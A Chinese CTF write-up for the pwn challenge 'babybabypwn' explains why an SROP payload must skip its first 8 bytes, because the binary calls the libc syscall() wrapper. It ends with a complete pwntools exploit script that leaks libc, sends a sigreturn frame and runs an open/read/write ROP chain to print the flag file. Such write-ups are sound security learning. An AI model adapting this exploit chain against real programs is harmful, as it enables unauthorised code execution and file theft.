[V&N2020 公开赛]babybabypwn

  写在开头,感谢“影二つ”师傅的指点。

  题目的做法思路网上一搜一大把,这篇博客主要记录一下这道题用pwntools写srop的时候,为什么需要省略前面8个字节。

  在看题目之前,先来学习一下call这个汇编指令。

  我个人理解call就是进入一个函数,但是执行完函数之后程序如何能够再返回执行call的下一条指令呢?答案是先把call下面的一条指令地址压入栈。我们来调试一下看看。

1 int main()
2 {
3     write(1,"Hello,dear.
",0xc);
4     return 0;
5 }

  这里用gcc a.c -o a编译成可执行文件。

  用pwndbg进行调试。

   在没有call write之前,rbp和rsp都是指向0x7fffffffdab0的,call write下面的一条指令是mov eax,0,这条指令的地址是0x40053a,当单步步入进入call之后。

  可以看到rsp被抬高了,原因是将0x40053a压入栈了。

  当程序执行完call之后,栈又恢复到了执行call之前的样子。所以大概思路就理清楚了,在执行call之前,程序会将call的下一条指令压入栈,当执行到ret的时候,就又恢复到了原来的栈布局。


  接下来看一下这道题,这道题的sys_rt_sigreturn,走的并不是底层的系统调用。

  ida识别出来是call的syscall函数。

  这里的syscall,并不是系统调用的syscall,而是syscall函数。因为srop进行栈恢复的时候是根据rsp进行恢复的,这里进入syscall函数之后,rsp被提高了8个字节,所以在写payload的时候需要省去8个字节。

  还是动态调试跟进去看一下。

  这里可以看到,进入syscall函数之后,rsp也是被抬高了8个字节,而箭头所指的syscall,才是真正的系统调用,到这里,要省去前面的8个字节的问题就算是讲清楚了。

  剩下的就是一些常规的利用了,不过我还是第一次在libc的bss段写rop链。

 1 from pwn import *
 2 
 3 p = process('./pwn')
 4 elf = ELF('./pwn')
 5 libc = ELF('./libc.so.6')
 6 context(os='linux',arch='amd64',log_level='debug')
 7 
 8 p.recvuntil(': ')
 9 libc_base = int(p.recvuntil('
')[:-1],16)-libc.symbols['puts']
10 print 'libc_base-->'+hex(libc_base)
11 write = libc_base+libc.symbols['write']
12 read = libc_base+libc.symbols['read']
13 open1 = libc_base+libc.symbols['open']
14 pop_rdi = libc_base+0x21112
15 pop_rsi = libc_base+0x202f8
16 pop_rdx = libc_base+0x1b92
17 bss = libc_base+libc.bss()+0x400
18 
19 sigframe = SigreturnFrame()
20 sigframe.rdi = 0
21 sigframe.rsi = bss
22 sigframe.rdx = 0x200
23 sigframe.rsp = bss
24 sigframe.rip = read
25 payload = str(sigframe)
26 
27 p.sendafter('message: ',payload[8:])
28 
29 payload = p64(pop_rdi)+p64(bss+0x98)+p64(pop_rsi)+p64(0)+p64(open1)
30 payload += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(bss+0x200)+p64(pop_rdx)+p64(0x100)+p64(read)
31 payload += p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(bss+0x200)+p64(pop_rdx)+p64(0x100)+p64(write)+'flagx00'
32 p.send(payload)
33 print p.recv()
原文地址:https://www.cnblogs.com/bhxdn/p/14527653.html